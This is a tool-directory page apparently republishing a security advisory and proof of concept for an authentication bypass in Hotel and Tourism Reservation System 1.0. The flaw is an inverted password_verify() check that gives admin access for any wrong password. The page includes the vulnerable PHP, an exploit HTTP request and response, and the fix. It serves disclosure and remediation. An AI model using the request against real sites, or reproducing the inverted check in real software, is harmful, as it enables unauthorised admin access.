Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-10288-AUTH-BYPASS — Proof-of-concept exploit for an authentication bypass in Hotel and Tourism Reservation System 1.0, allowing unauthenticated admin access via inverted password_verify logic. | Kitploit
Tools/GitHubGitHub/xmyronn/cve-2026-10288-auth-bypass
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication
GitHubxmyronn/cve-2026-10288-auth-bypass

CVE-2026-10288-AUTH-BYPASS

Proof-of-concept exploit for an authentication bypass in Hotel and Tourism Reservation System 1.0, allowing unauthenticated admin access via inverted password_verify logic.

View Repository
463 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Hotel and Tourism Reservation System - Authentication Bypass

Vulnerability Details

FieldDetails
TitleHotel and Tourism Reservation System - Authentication Bypass
Vendorcode-projects.org
ProductHotel and Tourism Reservation System
Version1.0
Vulnerability TypeImproper Authentication
CWECWE-287
CVSS Score9.0 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected File/admin/login.php
Authentication RequiredNo
Remote ExploitableYes

Description

A critical authentication bypass vulnerability exists in the admin login functionality of Hotel and Tourism Reservation System 1.0. The vulnerability is caused by an inverted conditional check on the return value of password_verify(), which causes the application to grant access when an incorrect password is supplied and deny access when the correct password is supplied. An unauthenticated remote attacker can gain full administrative access by providing a valid email address and any arbitrary incorrect password.


Root Cause

File: admin/login.php — Lines 39–46

root@kitploit:~
if(password_verify($password, $user['password'])){
    // BUG: password_verify() returns TRUE when password is CORRECT
    // but the error message is placed here instead of login logic
    echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
} else {
    // BUG: this block executes when password is WRONG
    // but login is granted here instead of showing an error
    $userID = $user['id'];
    login($userID);
}

password_verify() returns true when the supplied password matches the hash. The developer placed the success logic inside the else branch (which executes when the function returns false), meaning authentication is granted on any incorrect password.


Impact

A remote unauthenticated attacker can:

  • Gain full administrative access to the application
  • View, modify, and delete all room and tour reservations
  • Add, edit, or remove rooms, tours, and events
  • Access all registered user data
  • Perform all admin operations without knowing the admin password

Steps to Reproduce

Setup: Install Hotel and Tourism Reservation System 1.0 on XAMPP. Access the app at http://localhost/ht/.

Step 1: Navigate to the admin login page.

http:///ht/admin/login.php

Step 2: Enter a valid admin email with any wrong password.

Email: [email protected] Password: wrongpassword

Step 3: Click Login.

Result: The application bypasses authentication and redirects to the admin dashboard (index.php) — full admin access granted with an incorrect password.


Proof of Concept (Burp Suite)

Request:

root@kitploit:~
POST /ht/admin/login.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

email=admin%40admin.com&password=test1234&login=Login

Response:

root@kitploit:~
HTTP/1.1 302 Found
Location: index.php

A 302 redirect to index.php confirms successful authentication with a wrong password.


Screenshots

1. Login Page — Wrong Password Entered

Screenshot 2026-05-11 232154

2. Burp Suite — 302 Redirect Confirms Bypass

Screenshot 2026-05-11 232205

3. Source Code — Inverted Logic

Screenshot 2026-05-11 232228

Recommended Fix

Swap the conditional branches so login is granted when password_verify() returns true:

root@kitploit:~
// FIXED
if(password_verify($password, $user['password'])){
    $userID = $user['id'];
    login($userID);
} else {
    echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
}

References

  • CWE-287: Improper Authentication
  • Hotel and Tourism Reservation System — code-projects.org

Discovered By

Imad Alvi — Independent Security Researcher

Download Tool